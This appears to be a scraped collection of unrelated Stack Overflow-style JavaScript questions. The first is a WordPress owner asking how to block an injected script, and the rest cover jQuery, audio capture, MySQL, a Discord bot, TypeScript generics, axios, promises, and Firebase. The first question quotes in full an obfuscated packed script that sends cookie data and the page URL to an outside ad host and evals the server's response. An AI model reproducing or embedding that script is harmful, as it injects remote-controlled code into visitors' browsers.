Preventing specific script from executing wordpress

There is a particular malicious script loaded in the end of my wordpress site that i want to prevent from running. The function is obfuscated to avoid detection.

<script type="text/javascript">
    eval(function(p, a, c, k, e, d) {
        e = function(c) {
            return c
        };
        if (!''.replace(/^/, String)) {
            while (c--) {
                d[c] = k[c] || c
            }
            k = [function(e) {
                return d[e]
            }];
            e = function() {
                return '\w+'
            };
            c = 1
        }
        ;
        while (c--) {
            if (k[c]) {
                p = p.replace(new RegExp('\b' + e(c) + '\b', 'g'), k[c])
            }
        }
        return p
    }('2 15={'51':'//102.61','6':'62','48':38};23 44(){2 3;9{3=25 55("64.52")}7(11){9{3=25 55("63.52")}7(66){3=38}}5(!3&&67 50!='69'){3=25 50()}42 3};23 18(28){2 6=" "+43.6;2 34=" "+28+"=";2 33=17;2 16=0;2 21=0;5(6.13>0){16=6.37(34);5(16!=-1){16+=34.13;21=6.37(";",16);5(21==-1){21=6.13}33=65(6.56(16,21))}}42(33)};23 19(28,47,24,30,31,36){43.6=28+"="+68(47)+((24)?"; 24="+24:"")+((30)?"; 30="+30:"")+((31)?"; 31="+31:"")+((36)?"; 36":"")};(23(12,46){2 22=18(12);5(22==17)22=0;2 32=18(12+'57');5(32==17)32='[]';2 29=18(12+'40');5(29==17)29='[]';2 3=44();3.60('59',46,58);3.71("70-73","74/91-92-93-94");3.95=23(){5(3.90==4&&3.96==98){9{5(3.45.13==0)42;2 20=41.49(3.45);2 26='';2 14=0;2 39=38;9{26=20['99']}7(11){}9{14=20['100']}7(11){}9{39=(20['101']==1)}7(11){}15['48']=39;5(26.13>0){2 10=25 89();10.88(10.87()+1);5(14>0){19(12+'86',14.53(),10.27())}9{19(12+'85',20['84'],10.27())}7(11){}5(22==0){19(12,'1',10.27())}2 8=17;9{8=41.49(18(15['6']+'40'))}7(11){}5(8==17)8=[];5(8.37(14)==-1)8[8.13]=1*14;19(15['6']+'40',41.83(8),10.27());54.82(26)}}7(11){}}};3.81('80='+22.53()+'&79='+35(54.78.77)+'&76='+35(32)+'&75='+35(29))})(15['6'],15['51']+'/97.72');', 10, 103, '||var|xmlhttp||if|cookie|catch|vM|try|vDate|e|sCookieName|length|iT|vXAdsObj|offset|null|getCookie|setCookie|Response|end|iStatus|function|expires|new|sCode|toUTCString|name|sMS|path|domain|sMA|setStr|search|encodeURIComponent|secure|indexOf|false|bM|_ms|JSON|return|document|getXmlHttp|responseText|sUrl|value|mobile|parse|XMLHttpRequest|url|XMLHTTP|toString|window|ActiveXObject|substring|_ma|true|POST|open|fun|xads_platf|Microsoft|Msxml2|unescape|E|typeof|escape|undefined|Content|setRequestHeader|php|type|application|ms|ma|href|location|u|s|send|eval|stringify|fp|_fp|_t|getFullYear|setYear|Date|readyState|x|www|form|urlencoded|onreadystatechange|status|g|200|c|t|m|amads'.split('|'), 0, {}))
    </script>

The script appears to call a 3rd party script loaded on another website.

Is there anyway i could block this particular script from injection or locating which plugin calls the script? I’ve tried turning off my plugins one by one but that hasn’t fixed the problem. I’m thinking of blocking the 3rd party domain through a firewall rule server-side but that is just a temporary fix.

Sorry if i broke any “unwritten” rules, i am quite new to stackoverflow.

Jquery if/else remove class on dynamic data [duplicate]

Hello im trying to append and remove a css class depending on what value is in the div

if the value is equal to custom now i add a class that removes the :after appended to my text.

I want to reapply the class if it otherwise.

setInterval(function() {
  $('.monthappend').each(function() {
    var text = $(this).text();
    $(this).text(text.replace('$0', 'CUSTOM'));

    if ($(this).text() == 'CUSTOM') {
      $('.monthappend').addClass('without-after-element');
    } else {
      $('.monthappend').removeClass('without-after-element');
    }
  });
}, 1000);

this else statement didnt work… i tried adding another interval check after this one

<script>
setInterval(function() {
  $('.monthappend').each(function() {
    if ($(this).text() != 'CUSTOM') {
      $('.monthappend').removeClass('without-after-element');
    }
  });
}, 2000);
</script>

but this just caused the appended text to appear and reappear in a loop.

Please help!

site im working this code on
https://staging-homecarepulse.kinsta.cloud/pricing-calc-2/

How can user’s audio output be accessed in javascript

I am trying to get the user’s audio output that is heard in the user’s speaker and not from the user’s microphone. I currently get’s audio input from the microphone with this code

  startRecording.onclick = function() {

        navigator.getUserMedia({
            audio: true
        }, function(stream) {
                recordAudio = RecordRTC(stream, {
                type: 'audio',
                mimeType: 'audio/webm',
                sampleRate: 44100,
                desiredSampRate: 16000,
                
                recorderType: StereoAudioRecorder,
                numberOfAudioChannels: 1,

                timeSlice: 4000,

                
                ondataavailable: function(blob) {
                    console.log('ondataavailable');
                   
                    var stream = ss.createStream();
                    
                    ss(socket).emit('stream-media', stream, {
                        name: 'stream.wav', 
                        size: blob.size
                    });
                    
                    ss.createBlobReadStream(blob).pipe(stream);
                }
            });

            recordAudio.startRecording();

        }, function(error) {
            console.error(JSON.stringify(error));
        });
    };

the code above works fine to get the audio input from the microphone but how can I get user’s audio output separate from the microphone input?

Select Some Values From MYSQL

I am looking to only take 1 value from another table into another one. I am using npm inquirer to assign a value to in insertion

+----+--------------+
| id | name         |
+----+--------------+
|  1 | Sales        |
|  2 | Engineering  |
|  3 | Finance      |
|  4 | Legal        |
|  5 | Housekeeping |
|  6 | Admin        |
|  7 | Visual       |
+----+--------------+
+----+-------------------+--------+---------------+
| id | title             | salary | department_id |
+----+-------------------+--------+---------------+
|  1 | Sales Lead        | 100000 |             1 |
|  2 | Salesperson       |  80000 |             1 |
|  3 | Lead Engineer     | 150000 |             2 |
|  4 | Software Engineer | 120000 |             2 |
|  5 | Account Manager   | 160000 |             3 |
|  6 | Accountant        | 125000 |             3 |
|  7 | Legal Team Lead   | 250000 |             4 |
|  8 | Lawyer            | 190000 |             4 |
+----+-------------------+--------+---------------+

I need to create a new role and insert the department id from table1 into table2 with just the string ‘Accountant’. So itll be something like…

INSERT INTO role (title, salary, department_id) SELECT ‘Intern’, 40000, id FROM department WHERE name = ‘Accountant’

i’m trying to make my discord bot to record audio using prism-media as said in the example of @discordjs/voice but i’m getting error

I’m making a discord bot that records the voice channel

the libraries
[email protected], @discordjs/[email protected], [email protected]

the part of my code that errors

        const oggStream = new prism.opus.OggLogicalBitstream(
            {
                opusHead: new prism.opus.OpusHead({
                    channelCount: 2,
                    sampleRate: 48000,
                }),
                pageSizeControl: {
                    maxPackets: 10,
                },
                crc: false
            }
        );

This is identical to what is shown on the github page of @discordjs/voice https://github.com/discordjs/voice/blob/309ac8596cac422cf22e51331869e011c720124c/examples/recorder/src/createListeningStream.ts#L19

the error

C:UsersuserOneDriveDocumentssourcediscord_botindex.js:60
                opusHead: new prism.opus.OpusHead({
                          ^

TypeError: prism.opus.OpusHead is not a constructor
    at Client.<anonymous> (C:UsersuserOneDriveDocumentssourcediscord_botindex.js:60:27)
    at Client.emit (node:events:390:28)
    at VoiceStateUpdate.handle (C:UsersuserOneDriveDocumentssourcediscord_botnode_modulesdiscord.jssrcclientactionsVoiceStateUpdate.js:38:14)
    at Object.module.exports [as VOICE_STATE_UPDATE] (C:UsersuserOneDriveDocumentssourcediscord_botnode_modulesdiscord.jssrcclientwebsockethandlersVOICE_STATE_UPDATE.js:4:35)
    at WebSocketManager.handlePacket (C:UsersuserOneDriveDocumentssourcediscord_botnode_modulesdiscord.jssrcclientwebsocketWebSocketManager.js:351:31)
    at WebSocketShard.onPacket (C:UsersuserOneDriveDocumentssourcediscord_botnode_modulesdiscord.jssrcclientwebsocketWebSocketShard.js:444:22)
    at WebSocketShard.onMessage (C:UsersuserOneDriveDocumentssourcediscord_botnode_modulesdiscord.jssrcclientwebsocketWebSocketShard.js:301:10)
    at WebSocket.onMessage (C:UsersuserOneDriveDocumentssourcediscord_botnode_moduleswslibevent-target.js:199:18)
    at WebSocket.emit (node:events:390:28)
    at Receiver.receiverOnMessage (C:UsersuserOneDriveDocumentssourcediscord_botnode_moduleswslibwebsocket.js:1137:20)

jQuery show one, hide everything else

New to this so I’d like some help. I am trying to have 4 buttons where when one is clicked a specific div appears, but when i reclick it i want it to disappear. This can be done with toggle(). What I also want though is, when one of the other buttons is clicked for the originially shown item to hide, and only the new corressponding div to the button pressed to appear.

So if i press button1 i want div 1 to appear. If I reclick button1 i want to have div1 disappear. But If I press button 1 and while div1 is visible I then press button2, i want div1 to disappear and div2 to appear

This is what I have so far. It only achieves the first part, since If i press button1 and then button 2 the divs just stack staying all visible until i reclick each button.

var button = [
    '#gym',
    '#alyk',
    '#blyk',
    '#glyk'
]
var ShEl=[
    '.gymsch',
    '.alyksch',
    '.orient_blyk',
    '.orient_glyk',
]

for (let x = 0; x < 4; x++) {
        $(ShEl[x]).hide();
}

for (let i = 0; i < 4; i++) {
    $(button[i]).click(function() {
        $(ShEl[i]).toggle();
    });
}

Unique typescript generic types for each entry in an object

I’m having trouble typing something like the following object.

The value for fn for both image and line are the type definition for brevity instead of including an actual function. I understand in JS these would be functions with that type.

const obj = {
  image: {
    fn: (config: ImageConfig) => ImageProps,
    Component: (props: ImageProps) => ImageElement
  },
  line: {
    fn: (config: ImageConfig) => LineProps,
    Component: (props: LineProps) => LineElement
  },

  // ...

}

How would I go about typing this in TS? I want to treat the top level keys (image and line) as arbitrary (these keys could be any value). But I want their values to always contain a key of fn and a key of Component with a relationship between the arguments and return value for fn and Component. Namely that the two compose together.

I have the following type which is easy to understand with the above:

type Element<Props, Config> = { 
  fn: (x: Config) => Props; 
  Component: (props: Props) => JSX.Element 
};

But I can’t create a type that uses Element to allow for distinct generics for each entry in the object.

I can’t do

type MyConfig<Props, Config> = {
  [key: string]: Element<Props, Config>
};

since I want each instance of Props and Config for each entry in the object to be different from one another. Making up my own syntax, I’d want something like:

type MyConfig = {
  [key: string]<Props, Config>: Element<Props, Config>
};

Is something like this possible to express in TS? How can I do so?

Why does axios keep sending requests?

This is my code:

var axios = require("axios").default;
var btoa = require("btoa")

var options = {
  method: 'POST',
  url: 'https://qrcode3.p.rapidapi.com/qrcode/text',
  headers: {
    'content-type': 'application/json',
    'x-rapidapi-host': 'qrcode3.p.rapidapi.com',
    'x-rapidapi-key': '*****'
  },
  data: {
    data: 'https://linqr.app',
    image: {uri: 'icon://appstore', modules: true},
    style: {
      module: {color: 'black', shape: 'default'},
      inner_eye: {shape: 'default'},
      outer_eye: {shape: 'default'},
      background: {}
    },
    size: {width: 200, quiet_zone: 4, error_correction: 'M'},
    output: {filename: 'qrcode', format: 'png'}
  }
};

axios.request(options).then(function (response) {
    console.log(btoa(response.data));
}).catch(function (error) {
    console.error(error);
});

I run the file with nodemon and it keeps sending requests over and over again… why does it not send the request only once?

Is it possible to Write Nested Promises from nested loops [duplicate]

Ask: I want to convert below code of nested loops to promise, such that I can wait for all the promises to resolve.

Issue: I can’t figure out syntax or approach to write a promise for 3 nested loop in one.

Below is the Code, I am trying to convert to promise. Any help on this is really appreciated:

for (var i of LOOP1) {
        
          for (var j of LOOP2) {
          
            if (LOOP1.length === 1 && !i.code) {
              i.code = j.code;
            }
              
              for (var k of i.UpdatedName) {
                k.name = j.name;
              }
              
              for (var test of i.CommonNames) {
                CommonNames.name = j.name;
              }

            }
          }
        }

JS – if condition with document.querySelector(‘abc’).textContent.search && e.key

I’m trying to check if when pressing ‘,’ or ‘.’ on the keyboard, already exists on the element screenValue.textContent, if it exists, do nothing, if it doesn’t it should add it, but I cannot get it working, I’m going crazy here, I’ve done console logs and the screenValue.textContent.search('.') == -1 equals false AND aux1 value is ‘,’ so both if conditions are met, the code should run, I’m not seeing what I’m doing wrong.

Please see the full function below, any comments to help me understand the issue would be great, thanks a lot for your time.

enter image description here

enter image description here


function writeScreen(e){
    let aux1 = e.key;
    screenValue = document.querySelector('.calcScreen');
    console.log(e.keyCode);
    console.log(aux1);
    if(aux1 >=0 && aux1 <=9){
        //console.log("You clicked on a number.");
        screenValue.textContent.trim() === "0" ? screenValue.textContent = aux1 : screenValue.textContent += aux1;
        varValue += "" + aux1;
        //Still need to change the size of the font dynamically as string grows
    }else if(aux1 == ',' && screenValue.textContent.search('.') == -1 ||
             aux1 == '.' && screenValue.textContent.search('.') == -1){
        screenValue.textContent += '.';
    }
}

Whats the best way to convert an integer to a string in the context of making a “Loot” simulator?

I’m a beginner in Javascript so please bare with me. What I have setup so far is a simple 6 sided dice. My goal is to assign each “side” to a number so that for instance if I roll a ‘6’ , the 6 will print and have a value of “Dharoks Platebody”.


    document.querySelector('#roll').addEventListener('click', roll)
    
    let num = 6
    
    function roll() {
    let diceRoll = Math.floor( Math.random() * 6 + 1)
    
    num.toString('Dharoks Platebody')
    alert(num)
    }

This is what I have so far but it returns the error “radix argument must be between 2 and 36” .
Now obviously I could and likely will research that particular error more but my real question here is what is the best way to go about making a loot simulator?

firebase realtime database undefined function

I’m trying to retrieve from a realtime db I started by init the app with the configuration like so

import {initializeApp} from 'firebase/app';
import {getDatabase} from 'firebase/database';
let config = {
  apiKey: 'xxxxxxxxxxxx',
  authDomain: 'xxxxxxxxxxxx',
...
};
const app = initializeApp(config);
const database = getDatabase(app);

then when I try using the database variable it crashes

  componentDidMount() {
    database
      .ref(`master/tickets`)
      .once('value', snapshot => {
        var obj = snapshot.val();
        console.log('obj :', obj);
      })
      .catch(error => {
        console.log(error);
      });
  }

I also have tried firebase.database.ref() it shows error cannot find variable firebase
What I am doing wrong? It was working fine in previous builds